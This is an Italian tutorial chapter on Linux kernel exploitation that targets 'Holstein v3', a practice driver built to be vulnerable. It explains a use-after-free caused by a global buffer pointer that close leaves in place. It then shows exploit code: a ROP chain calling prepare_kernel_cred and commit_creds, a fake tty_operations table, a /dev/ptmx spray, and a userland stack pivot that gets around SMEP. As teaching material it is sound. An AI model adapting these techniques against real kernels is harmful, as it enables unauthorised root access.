Nel capitolo precedente abbiamo ottenuto un’elevazione di privilegi sfruttando uno Heap Overflow nel modulo Holstein. Lo sviluppatore di Holstein ha di nuovo “corretto” il driver e ha pubblicato la versione v3. In questo capitolo vedremo come exploitare anche quella.

Analisi della patch e individuazione della vulnerabilità

Per prima cosa scarica Holstein v3.
Rispetto a v2 ci sono due differenze principali. La prima è che in open il buffer viene allocato con kzalloc:

1
2
3
4
5
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

kzalloc è simile a kmalloc, ma inizializza a zero il contenuto della memoria allocata. In pratica è l’equivalente kernel di calloc.

La seconda differenza è che read e write fanno ora un controllo sulla dimensione, così da evitare l’heap overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");

if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}

if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}

return count;
}

Questa volta, quindi, uno Heap Overflow non si può più ottenere direttamente.

Guardiamo allora la funzione close:

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

Qui il buffer viene liberato con kfree, ma il puntatore g_buf rimane valido e non viene azzerato. Se riuscissimo a usarlo dopo la close, avremmo uno Use-after-Free.

Qualcuno potrebbe obiettare: “Ma dopo close non posso più fare né readwrite su quel file descriptor”. Ed è vero. Però dobbiamo ricordare una caratteristica fondamentale del kernel: le risorse sono condivise fra più processi e fra più open.

Per esempio, che cosa succede in una situazione come questa?

1
2
3
4
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
write(fd2, "Hello", 5);

La prima open alloca g_buf. La seconda open ne alloca un altro e sovrascrive il puntatore globale. Il vecchio buffer non viene liberato e quindi produce un memory leak.
Poi close(fd1) esegue kfree(g_buf), liberando il buffer puntato da g_buf. fd1 non è più utilizzabile, ma fd2 lo è ancora, quindi possiamo continuare a leggere o scrivere passando per un puntatore già liberato. Ed è così che nasce lo Use-after-Free.

Questo è un esempio perfetto del fatto che il codice in kernel space deve sempre essere progettato pensando alla condivisione delle risorse fra più attori.

Lupetto

Sarebbe bastato azzerare il puntatore in `close`, oppure far fallire `open` se `g_buf` era già allocato, per evitare almeno questa vulnerabilità semplice.
Nel prossimo capitolo vedremo se sarebbe stato davvero sufficiente.

Bypass di KASLR

Per cominciare, leakiamo il base address del kernel e l’indirizzo di g_buf.
Anche se la vulnerabilità adesso è diventata uno Use-after-Free, la dimensione del buffer è ancora 0x400, quindi possiamo continuare a sfruttare tty_struct.

Ottenere kROP

Ora siamo di nuovo in una situazione in cui possiamo arrivare a una ROP chain. In teoria basterebbe preparare una falsa tty_operations e pivotare lo stack.
Però, a differenza del capitolo precedente, qui lavoriamo su una zona di memoria che è già riutilizzata da tty_struct. Quando scatterà il pivot, andremo quindi a sovrascrivere anche campi della struttura stessa. Questo può introdurre bug indesiderati e ridurre molto la flessibilità della chain.
Idealmente vorremmo tenere separati il tty_struct corrotto e la memoria che contiene la ROP chain.

Per farlo, useremo una seconda Use-after-Free. L’idea è:

  1. usare il primo g_buf, del cui indirizzo disponiamo già, per scriverci sopra la ROP chain e la falsa tty_operations
  2. innescare una seconda Use-after-Free indipendente
  3. usare la seconda per sovrascrivere solo il puntatore alla function table di un altro tty_struct

In questo modo modifichiamo soltanto il puntatore alla tabella di funzioni, lasciando il resto della struttura relativamente intatto e ottenendo un exploit più stabile.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// ROP chain
unsigned long *chain = (unsigned long*)&buf;
*chain++ = rop_pop_rdi;
*chain++ = 0;
*chain++ = addr_prepare_kernel_cred;
*chain++ = rop_pop_rcx;
*chain++ = 0;
*chain++ = rop_mov_rdi_rax_rep_movsq;
*chain++ = addr_commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_rsp;
*chain++ = user_ss;

// falsa tty_operations
*(unsigned long*)&buf[0x3f8] = rop_push_rdx_xor_eax_415b004f_pop_rsp_rbp;

write(fd2, buf, 0x400);

// seconda Use-after-Free
int fd3 = open("/dev/holstein", O_RDWR);
int fd4 = open("/dev/holstein", O_RDWR);
if (fd3 == -1 || fd4 == -1)
fatal("/dev/holstein");
close(fd3);
for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) fatal("/dev/ptmx");
}

// sovrascrive il puntatore alla function table
read(fd4, buf, 0x400);
*(unsigned long*)&buf[0x18] = g_buf + 0x3f8 - 12*8;
write(fd4, buf, 0x20);

// controllo di RIP
for (int i = 50; i < 100; i++) {
ioctl(spray[i], 0, g_buf - 8); // rsp=rdx; pop rbp;
}

Se l’elevazione di privilegi riesce, l’exploit ha funzionato. Il codice completo si può scaricare da qui.

Elevazione di privilegi tramite UAF

Questo esempio mostra bene perché vulnerabilità come Heap Overflow e Use-after-Free siano spesso più facili da sfruttare nel kernel che in userland. L’heap del kernel è condiviso, e ci sono moltissime strutture interessanti, piene di function pointer, che possono essere usate per guadagnare RIP.
D’altra parte, se non si trova una struttura utile nella stessa classe di dimensione dell’oggetto vulnerabile, lo sfruttamento può diventare molto più difficile.

Extra: controllo di RIP e bypass di SMEP

In questo capitolo abbiamo aggirato tutte le protezioni richieste.
Come accennato nel capitolo precedente, se SMAP è disattivato ma SMEP rimane attivo, si può usare una tecnica più semplice. Per esempio, cosa succede se troviamo un gadget come:

1
0xffffffff81516264: mov esp, 0x39000000; ret;

Se in userland abbiamo prima fatto mmap all’indirizzo 0x39000000 e ci abbiamo scritto sopra una ROP chain, chiamare quel gadget produce uno stack pivot verso la chain userland. In una situazione del genere non servono né una ROP chain in kernel space né un leak dell’indirizzo dell’heap del kernel.

Ci sono però due accortezze:

  • RSP deve restare allineato a 8 byte, altrimenti alcune istruzioni possono generare eccezioni e far crashare tutto
  • funzioni come commit_creds e prepare_kernel_cred consumano stack, quindi conviene mappare non esattamente da 0x39000000, ma un po’ prima, lasciando un margine comodo (per esempio 0x8000 byte)

Prova davvero a disattivare SMAP e a fare l’escalation usando uno stack pivot verso una ROP chain in userland. Quando fai mmap, ricordati di aggiungere MAP_POPULATE: così la memoria fisica viene materializzata subito e, anche con KPTI attivo, il kernel riesce a vederla.


Prova a ottenere l'elevazione di privilegi anche senza ROP, per esempio sovrascrivendo modprobe_path oppure una struttura cred.